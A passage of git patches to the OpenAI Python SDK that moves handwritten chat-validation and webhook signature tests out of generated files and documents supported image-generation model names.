@@ -484,7 +484,7 @@ async def test_path_params_content(self, async_client: AsyncOpenAI) -> None:
async def test_method_retrieve_content(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
file = await async_client.files.retrieve_content(
- "string",
+ "file_id",
)
assert_matches_type(str, file, path=["response"])
@@ -493,7 +493,7 @@ async def test_method_retrieve_content(self, async_client: AsyncOpenAI) -> None:
async def test_raw_response_retrieve_content(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
response = await async_client.files.with_raw_response.retrieve_content(
- "string",
+ "file_id",
)
assert response.is_closed is True
@@ -505,7 +505,7 @@ async def test_raw_response_retrieve_content(self, async_client: AsyncOpenAI) ->
async def test_streaming_response_retrieve_content(self, async_client: AsyncOpenAI) -> None:
with pytest.warns(DeprecationWarning):
async with async_client.files.with_streaming_response.retrieve_content(
- "string",
+ "file_id",
) as response:
assert not response.is_closed
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index 2e97ca9416..22a5c008b4 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -9,7 +9,6 @@
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
-from openai._utils import assert_signatures_in_sync
from openai.types.responses import (
Response,
CompactedResponse,
@@ -452,17 +451,6 @@ def test_streaming_response_compact(self, client: OpenAI) -> None:
assert cast(Any, http_response.is_closed) is True
-@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
-def test_parse_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
- checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
-
- assert_signatures_in_sync(
- checking_client.responses.create,
- checking_client.responses.parse,
- exclude_params={"stream", "tools"},
- )
-
-
class TestAsyncResponses:
parametrize = pytest.mark.parametrize(
"async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
diff --git a/tests/lib/responses/test_responses.py b/tests/lib/responses/test_responses.py
index 43879942b8..c970c53a77 100644
--- a/tests/lib/responses/test_responses.py
+++ b/tests/lib/responses/test_responses.py
@@ -83,6 +83,17 @@ def test_stream_method_definition_in_sync(sync: bool, client: OpenAI, async_clie
)
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+def test_parse_method_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
+ checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
+
+ assert_signatures_in_sync(
+ checking_client.responses.create,
+ checking_client.responses.parse,
+ exclude_params={"stream", "tools"},
+ )
+
+
@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
def test_parse_method_definition_in_sync(sync: bool, client: OpenAI, async_client: AsyncOpenAI) -> None:
checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
From 9d3ba20f9567a62b2ebb3542661a60dc4ed2fd67 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 20:07:58 +0000
Subject: [PATCH 055/341] chore(api): move chat validation tests out of
generated code (#3698)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the handwritten `chat.completions.create()` validation tests out of
the
generated resource-test file. The test methods and their client
parameterization
are copied verbatim; the generated file returns to the verified Castiron
output.
Coverage now lives in these exact tests:
-
[`tests/lib/chat/test_create_validation.py::TestCompletions::test_method_create_disallows_pydantic`](https://github.com/openai/openai-python/blob/f883c09550b4a123094b57659fb6a5b008b54581/tests/lib/chat/test_create_validation.py#L15)
covers loose and strict synchronous clients.
-
[`tests/lib/chat/test_create_validation.py::TestAsyncCompletions::test_method_create_disallows_pydantic`](https://github.com/openai/openai-python/blob/f883c09550b4a123094b57659fb6a5b008b54581/tests/lib/chat/test_create_validation.py#L38)
covers loose, strict, and aiohttp asynchronous clients.
All five cases still assert the existing `TypeError` and message when a
Pydantic `BaseModel` class is passed as `response_format` to `create()`.
No test
coverage, SDK implementation, public API, exception behavior, or client
mode is
removed.
## Additional context & links
Validation:
- The custom-code report verifies 42 -> 41 mixed files, one removed
customization, and no changes to the other customizations.
- AST and source-text comparisons prove both methods and their
parameterization
moved verbatim. Pytest collection confirms the same five cases.
- `./scripts/format` and `./scripts/lint` passed, including Ruff,
Pyright, mypy,
and import checks. Unrelated formatter-only changes to the existing
report
scripts are not included.
- Command: `python -m pytest -q
tests/api_resources/chat/test_completions.py
tests/lib/chat/test_create_validation.py`
passed 125 tests under Pydantic v2 and 125 under Pydantic v1.
- After rebasing onto the merged test cleanup in #3697, the exact-source
check
and full lint passed again. Command: `python -m pytest -q
tests/lib/chat/test_create_validation.py`
passed all five cases again in both Pydantic modes.
No schema, configuration, compiler, dependency, fixture, or
generated-file
ownership changes are needed. The pure-generated content hash is
unchanged.
The existing `.castiron.stats.yml` is preserved byte-for-byte so this
test-only
PR does not overlap the separate release's generation metadata.
---------
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
tests/api_resources/chat/test_completions.py | 35 -------------
tests/lib/chat/test_create_validation.py | 52 ++++++++++++++++++++
2 files changed, 52 insertions(+), 35 deletions(-)
create mode 100644 tests/lib/chat/test_create_validation.py
diff --git a/tests/api_resources/chat/test_completions.py b/tests/api_resources/chat/test_completions.py
index b0b957ec4f..b6193eb1f6 100644
--- a/tests/api_resources/chat/test_completions.py
+++ b/tests/api_resources/chat/test_completions.py
@@ -6,7 +6,6 @@
from typing import Any, cast
import pytest
-import pydantic
from openai import OpenAI, AsyncOpenAI
from tests.utils import assert_matches_type
@@ -464,23 +463,6 @@ def test_path_params_delete(self, client: OpenAI) -> None:
"",
)
- @parametrize
- def test_method_create_disallows_pydantic(self, client: OpenAI) -> None:
- class MyModel(pydantic.BaseModel):
- a: str
-
- with pytest.raises(TypeError, match=r"You tried to pass a `BaseModel` class"):
- client.chat.completions.create(
- messages=[
- {
- "content": "string",
- "role": "system",
- }
- ],
- model="gpt-4o",
- response_format=cast(Any, MyModel),
- )
-
class TestAsyncCompletions:
parametrize = pytest.mark.parametrize(
@@ -928,20 +910,3 @@ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
await async_client.chat.completions.with_raw_response.delete(
"",
)
-
- @parametrize
- async def test_method_create_disallows_pydantic(self, async_client: AsyncOpenAI) -> None:
- class MyModel(pydantic.BaseModel):
- a: str
-
- with pytest.raises(TypeError, match=r"You tried to pass a `BaseModel` class"):
- await async_client.chat.completions.create(
- messages=[
- {
- "content": "string",
- "role": "system",
- }
- ],
- model="gpt-4o",
- response_format=cast(Any, MyModel),
- )
diff --git a/tests/lib/chat/test_create_validation.py b/tests/lib/chat/test_create_validation.py
new file mode 100644
index 0000000000..f00db1a4f6
--- /dev/null
+++ b/tests/lib/chat/test_create_validation.py
@@ -0,0 +1,52 @@
+from __future__ import annotations
+
+from typing import Any, cast
+
+import pytest
+import pydantic
+
+from openai import OpenAI, AsyncOpenAI
+
+
+class TestCompletions:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create_disallows_pydantic(self, client: OpenAI) -> None:
+ class MyModel(pydantic.BaseModel):
+ a: str
+
+ with pytest.raises(TypeError, match=r"You tried to pass a `BaseModel` class"):
+ client.chat.completions.create(
+ messages=[
+ {
+ "content": "string",
+ "role": "system",
+ }
+ ],
+ model="gpt-4o",
+ response_format=cast(Any, MyModel),
+ )
+
+
+class TestAsyncCompletions:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create_disallows_pydantic(self, async_client: AsyncOpenAI) -> None:
+ class MyModel(pydantic.BaseModel):
+ a: str
+
+ with pytest.raises(TypeError, match=r"You tried to pass a `BaseModel` class"):
+ await async_client.chat.completions.create(
+ messages=[
+ {
+ "content": "string",
+ "role": "system",
+ }
+ ],
+ model="gpt-4o",
+ response_format=cast(Any, MyModel),
+ )
From 8edd9ae411f9d0a5385447a4697c9f7042868213 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 20:40:39 +0000
Subject: [PATCH 056/341] chore(api): document supported image generation
models (#3695)
## Summary
Refresh the generated API reference and document the supported
image-generation model names in the stable and beta Responses tool
types. The SDK already accepts these model names; this changes
documentation, not public type signatures or runtime behavior.
## Changes
- Document `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`,
`gpt-image-2`, `gpt-image-2-2026-04-21`, and `chatgpt-image-latest`; the
documented default remains `gpt-image-1`.
- Refresh the transformed OpenAPI snapshot, including the GPT Image 2
names for JSON image editing.
## (manual)
Resolved `.castiron.stats.yml` conflicts while incorporating [the
earlier public
baseline](https://github.com/openai/openai-python/commit/5ac1e03e1ae8f08acf6213b3e44772734dbb8e59)
and, subsequently, [the current public
baseline](https://github.com/openai/openai-python/commit/9d3ba20f9567a62b2ebb3542661a60dc4ed2fd67).
Each intermediate merge retained the complete baseline record; CastIron
regenerated and published the final metadata. The latest rebase
preserves the test cleanups in
[#3697](https://github.com/openai/openai-python/pull/3697) and
[#3698](https://github.com/openai/openai-python/pull/3698): the full
`tests/` tree matches current `main` byte-for-byte. Full SDK formatting
and `git diff --check` passed. No handwritten runtime code changed.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 14 +++++++++++---
src/openai/types/beta/beta_tool.py | 6 +++++-
src/openai/types/beta/beta_tool_param.py | 6 +++++-
src/openai/types/responses/tool.py | 6 +++++-
src/openai/types/responses/tool_param.py | 6 +++++-
6 files changed, 37 insertions(+), 13 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 1425ad7f87..26d99d11aa 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: d01088d9-a117-4981-9899-afab176a91ec
-openapi_spec_hash: a99ded1ea34cf528a9cd5f064167f26a
-openapi_transformed_spec_hash: e24c9d9339620c3cce8bbdd80e9ef8ed
+generation_id: ddf51c0b-5978-487f-be21-e379112a927a
+openapi_spec_hash: a85edbfc22ff719d064bce2705c7394e
+openapi_transformed_spec_hash: f8e7644df5aee22dfcd0ea2b70942054
config_hash: 85382dd94c503b5d225adc7636a77c9f
-codegen_sha: 160eee5e853d55c35205907a7b0bdd7151c74cec
-codegen_hash: 0e1cb892e3631438e55b55edd14899551f458be8d073e13d2c191730297562d6
-public_codegen_sha: 53459fc3cbb96f06dc69478d23b9703346a61c64
+codegen_sha: 310aa46b5b69a9e4a3d0dd78fa47797d6cae2746
+codegen_hash: 5188f6aac875d009719a2f3702c2824068b7ce0780fe001f8a791735d8212a8b
+public_codegen_sha: 0d3e70da47bb645fbfd0dd16fdd37ea10ee981f5
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 8cda8f8cb0..f14d867a01 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -35398,6 +35398,8 @@ components:
- type: string
enum:
- gpt-image-1.5
+ - gpt-image-2
+ - gpt-image-2-2026-04-21
- gpt-image-1
- gpt-image-1-mini
- chatgpt-image-latest
@@ -35405,7 +35407,7 @@ components:
x-oaiTypeLabel: string
default: gpt-image-1.5
example: gpt-image-1.5
- description: The model to use for image editing.
+ description: The GPT image model to use for image editing, including `gpt-image-2` and its dated snapshot `gpt-image-2-2026-04-21`.
images:
type: array
minItems: 1
@@ -39136,7 +39138,10 @@ components:
- gpt-image-1.5
- chatgpt-image-latest
description: |
- The image generation model to use. Default: `gpt-image-1`.
+ The image generation model to use. One of `gpt-image-1`,
+ `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
default: gpt-image-1
quality:
type: string
@@ -68512,7 +68517,10 @@ components:
- gpt-image-1.5
- chatgpt-image-latest
description: |
- The image generation model to use. Default: `gpt-image-1`.
+ The image generation model to use. One of `gpt-image-1`,
+ `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default:
+ `gpt-image-1`.
default: gpt-image-1
quality:
type: string
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index 9e1e64bbf2..57c659c967 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -302,7 +302,11 @@ class ImageGeneration(BaseModel):
],
None,
] = None
- """The image generation model to use. Default: `gpt-image-1`."""
+ """The image generation model to use.
+
+ One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ """
moderation: Optional[Literal["auto", "low"]] = None
"""Moderation level for the generated image. Default: `auto`."""
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index d3bef81880..640b4bfedb 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -300,7 +300,11 @@ class ImageGeneration(TypedDict, total=False):
"chatgpt-image-latest",
],
]
- """The image generation model to use. Default: `gpt-image-1`."""
+ """The image generation model to use.
+
+ One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ """
moderation: Literal["auto", "low"]
"""Moderation level for the generated image. Default: `auto`."""
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index c15ee74641..69293fa845 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -307,7 +307,11 @@ class ImageGeneration(BaseModel):
],
None,
] = None
- """The image generation model to use. Default: `gpt-image-1`."""
+ """The image generation model to use.
+
+ One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ """
moderation: Optional[Literal["auto", "low"]] = None
"""Moderation level for the generated image. Default: `auto`."""
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index 0b881d9c1d..9aa229cdd9 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -306,7 +306,11 @@ class ImageGeneration(TypedDict, total=False):
"chatgpt-image-latest",
],
]
- """The image generation model to use. Default: `gpt-image-1`."""
+ """The image generation model to use.
+
+ One of `gpt-image-1`, `gpt-image-1-mini`, `gpt-image-1.5`, `gpt-image-2`,
+ `gpt-image-2-2026-04-21`, or `chatgpt-image-latest`. Default: `gpt-image-1`.
+ """
moderation: Literal["auto", "low"]
"""Moderation level for the generated image. Default: `auto`."""
From 04ecb3c21712e1236e7aa2eb9d715d57acb26c35 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 22:47:44 +0000
Subject: [PATCH 057/341] chore(api): move webhook tests out of generated code
(#3700)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the handwritten webhook regression suite from the generated
resource-test
file to `tests/lib/test_webhooks.py`. The new file is byte-for-byte
identical to
the old file after removing its generated-file header. The generated
path
returns to the verified Castiron output.
All 71 collected cases remain. The existing synthetic signature
fixtures, time
mocks, secret/header validation, timestamp tolerance, byte payloads,
multiple
signatures, exceptions, and sync/async client modes are unchanged. No
webhook
verification code, public API, or generation metadata changes are
included.
## Additional context & links
Coverage now lives in these exact classes:
-
[`tests/lib/test_webhooks.py::TestWebhooks`](https://github.com/openai/openai-python/blob/c69d47ae202259ed693a8ae230e97ab988371bfd/tests/lib/test_webhooks.py#L32):
16 methods, 31 collected cases.
-
[`tests/lib/test_webhooks.py::TestAsyncWebhooks`](https://github.com/openai/openai-python/blob/c69d47ae202259ed693a8ae230e97ab988371bfd/tests/lib/test_webhooks.py#L170):
14 methods, 40 collected cases, including aiohttp.
Exact preserved test methods
Both classes retain:
- `test_unwrap_with_secret`
- `test_unwrap_without_secret`
- `test_unwrap_with_client_secret`
- `test_verify_signature_valid`
- `test_verify_signature_invalid_secret_format`
- `test_verify_signature_invalid`
- `test_verify_signature_missing_webhook_signature_header`
- `test_verify_signature_missing_webhook_timestamp_header`
- `test_verify_signature_missing_webhook_id_header`
- `test_verify_signature_payload_bytes`
- `test_verify_signature_timestamp_too_old`
- `test_verify_signature_timestamp_too_new`
- `test_verify_signature_multiple_signatures_one_valid`
- `test_verify_signature_multiple_signatures_all_invalid`
`TestWebhooks` also retains `test_verify_signature_custom_tolerance` and
`test_verify_signature_recent_timestamp_succeeds`.
Validation:
- Pytest collection matches all 71 original node IDs after replacing
only the
module path, in both Pydantic modes.
- Command: `python -m pytest -q -n 4
tests/api_resources/test_webhooks.py tests/lib/test_webhooks.py`
passed 71 tests under Pydantic v2 and 71 under Pydantic v1.
- `./scripts/format` and `./scripts/lint` passed, including Ruff,
Pyright, mypy,
and import checks. Unrelated reporter formatting is excluded.
- The public custom-code report verifies 41 -> 40 mixed files, one
removed
customization, and no other changed customizations.
`.castiron.stats.yml`
is unchanged.
For a byte-level check, both commands return
`09e457aee921b3c53c64485fc235724ea4ed5402`:
```sh
$ git show 8edd9ae411f9d0a5385447a4697c9f7042868213:tests/api_resources/test_webhooks.py | tail -n +3 | git hash-object --stdin
$ git rev-parse c69d47ae202259ed693a8ae230e97ab988371bfd:tests/lib/test_webhooks.py
```
---
tests/api_resources/test_webhooks.py | 265 -------------------------
tests/lib/test_webhooks.py | 282 +++++++++++++++++++++++++++
2 files changed, 282 insertions(+), 265 deletions(-)
create mode 100644 tests/lib/test_webhooks.py
diff --git a/tests/api_resources/test_webhooks.py b/tests/api_resources/test_webhooks.py
index f03b9780d4..c2f45e64c3 100644
--- a/tests/api_resources/test_webhooks.py
+++ b/tests/api_resources/test_webhooks.py
@@ -3,282 +3,17 @@
from __future__ import annotations
import os
-from unittest import mock
import pytest
-import openai
-from openai._exceptions import InvalidWebhookSignatureError
-
base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
-# Standardized test constants (matches TypeScript implementation)
-TEST_SECRET = "whsec_RdvaYFYUXuIFuEbvZHwMfYFhUf7aMYjYcmM24+Aj40c="
-TEST_PAYLOAD = '{"id": "evt_685c059ae3a481909bdc86819b066fb6", "object": "event", "created_at": 1750861210, "type": "response.completed", "data": {"id": "resp_123"}}'
-TEST_TIMESTAMP = 1750861210 # Fixed timestamp that matches our test signature
-TEST_WEBHOOK_ID = "wh_685c059ae39c8190af8c71ed1022a24d"
-TEST_SIGNATURE = "v1,gUAg4R2hWouRZqRQG4uJypNS8YK885G838+EHb4nKBY="
-
-
-def create_test_headers(
- timestamp: int | None = None, signature: str | None = None, webhook_id: str | None = None
-) -> dict[str, str]:
- """Helper function to create test headers"""
- return {
- "webhook-signature": signature or TEST_SIGNATURE,
- "webhook-timestamp": str(timestamp or TEST_TIMESTAMP),
- "webhook-id": webhook_id or TEST_WEBHOOK_ID,
- }
-
class TestWebhooks:
parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_unwrap_with_secret(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- unwrapped = client.webhooks.unwrap(TEST_PAYLOAD, headers, secret=TEST_SECRET)
- assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
- assert unwrapped.created_at == 1750861210
-
- @parametrize
- def test_unwrap_without_secret(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- with pytest.raises(ValueError, match="The webhook secret must either be set"):
- client.webhooks.unwrap(TEST_PAYLOAD, headers)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_valid(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- # Should not raise - this is a truly valid signature for this timestamp
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @parametrize
- def test_verify_signature_invalid_secret_format(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- with pytest.raises(ValueError, match="The webhook secret must either be set"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=None)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_invalid(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret="invalid_secret")
-
- @parametrize
- def test_verify_signature_missing_webhook_signature_header(self, client: openai.OpenAI) -> None:
- headers = create_test_headers(signature=None)
- del headers["webhook-signature"]
- with pytest.raises(ValueError, match="Could not find webhook-signature header"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @parametrize
- def test_verify_signature_missing_webhook_timestamp_header(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- del headers["webhook-timestamp"]
- with pytest.raises(ValueError, match="Could not find webhook-timestamp header"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @parametrize
- def test_verify_signature_missing_webhook_id_header(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- del headers["webhook-id"]
- with pytest.raises(ValueError, match="Could not find webhook-id header"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_payload_bytes(self, client: openai.OpenAI) -> None:
- headers = create_test_headers()
- client.webhooks.verify_signature(TEST_PAYLOAD.encode("utf-8"), headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- def test_unwrap_with_client_secret(self) -> None:
- test_client = openai.OpenAI(base_url=base_url, api_key="test-api-key", webhook_secret=TEST_SECRET)
- headers = create_test_headers()
-
- unwrapped = test_client.webhooks.unwrap(TEST_PAYLOAD, headers)
- assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
- assert unwrapped.created_at == 1750861210
-
- @parametrize
- def test_verify_signature_timestamp_too_old(self, client: openai.OpenAI) -> None:
- # Use a timestamp that's older than 5 minutes from our test timestamp
- old_timestamp = TEST_TIMESTAMP - 400 # 6 minutes 40 seconds ago
- headers = create_test_headers(timestamp=old_timestamp, signature="v1,dummy_signature")
-
- with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too old"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_timestamp_too_new(self, client: openai.OpenAI) -> None:
- # Use a timestamp that's in the future beyond tolerance from our test timestamp
- future_timestamp = TEST_TIMESTAMP + 400 # 6 minutes 40 seconds in the future
- headers = create_test_headers(timestamp=future_timestamp, signature="v1,dummy_signature")
-
- with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too new"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_custom_tolerance(self, client: openai.OpenAI) -> None:
- # Use a timestamp that's older than default tolerance but within custom tolerance
- old_timestamp = TEST_TIMESTAMP - 400 # 6 minutes 40 seconds ago from test timestamp
- headers = create_test_headers(timestamp=old_timestamp, signature="v1,dummy_signature")
-
- # Should fail with default tolerance
- with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too old"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- # Should also fail with custom tolerance of 10 minutes (signature won't match)
- with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET, tolerance=600)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_recent_timestamp_succeeds(self, client: openai.OpenAI) -> None:
- # Use a recent timestamp with dummy signature
- headers = create_test_headers(signature="v1,dummy_signature")
-
- # Should fail on signature verification (not timestamp validation)
- with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_multiple_signatures_one_valid(self, client: openai.OpenAI) -> None:
- # Test multiple signatures: one invalid, one valid
- multiple_signatures = f"v1,invalid_signature {TEST_SIGNATURE}"
- headers = create_test_headers(signature=multiple_signatures)
-
- # Should not raise when at least one signature is valid
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- def test_verify_signature_multiple_signatures_all_invalid(self, client: openai.OpenAI) -> None:
- # Test multiple invalid signatures
- multiple_invalid_signatures = "v1,invalid_signature1 v1,invalid_signature2"
- headers = create_test_headers(signature=multiple_invalid_signatures)
-
- with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
- client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
class TestAsyncWebhooks:
parametrize = pytest.mark.parametrize(
"async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_unwrap_with_secret(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- unwrapped = async_client.webhooks.unwrap(TEST_PAYLOAD, headers, secret=TEST_SECRET)
- assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
- assert unwrapped.created_at == 1750861210
-
- @parametrize
- async def test_unwrap_without_secret(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- with pytest.raises(ValueError, match="The webhook secret must either be set"):
- async_client.webhooks.unwrap(TEST_PAYLOAD, headers)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_verify_signature_valid(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- # Should not raise - this is a truly valid signature for this timestamp
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @parametrize
- async def test_verify_signature_invalid_secret_format(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- with pytest.raises(ValueError, match="The webhook secret must either be set"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=None)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_verify_signature_invalid(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret="invalid_secret")
-
- @parametrize
- async def test_verify_signature_missing_webhook_signature_header(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- del headers["webhook-signature"]
- with pytest.raises(ValueError, match="Could not find webhook-signature header"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @parametrize
- async def test_verify_signature_missing_webhook_timestamp_header(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- del headers["webhook-timestamp"]
- with pytest.raises(ValueError, match="Could not find webhook-timestamp header"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @parametrize
- async def test_verify_signature_missing_webhook_id_header(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- del headers["webhook-id"]
- with pytest.raises(ValueError, match="Could not find webhook-id header"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_verify_signature_payload_bytes(self, async_client: openai.AsyncOpenAI) -> None:
- headers = create_test_headers()
- async_client.webhooks.verify_signature(TEST_PAYLOAD.encode("utf-8"), headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- async def test_unwrap_with_client_secret(self) -> None:
- test_async_client = openai.AsyncOpenAI(base_url=base_url, api_key="test-api-key", webhook_secret=TEST_SECRET)
- headers = create_test_headers()
-
- unwrapped = test_async_client.webhooks.unwrap(TEST_PAYLOAD, headers)
- assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
- assert unwrapped.created_at == 1750861210
-
- @parametrize
- async def test_verify_signature_timestamp_too_old(self, async_client: openai.AsyncOpenAI) -> None:
- # Use a timestamp that's older than 5 minutes from our test timestamp
- old_timestamp = TEST_TIMESTAMP - 400 # 6 minutes 40 seconds ago
- headers = create_test_headers(timestamp=old_timestamp, signature="v1,dummy_signature")
-
- with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too old"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
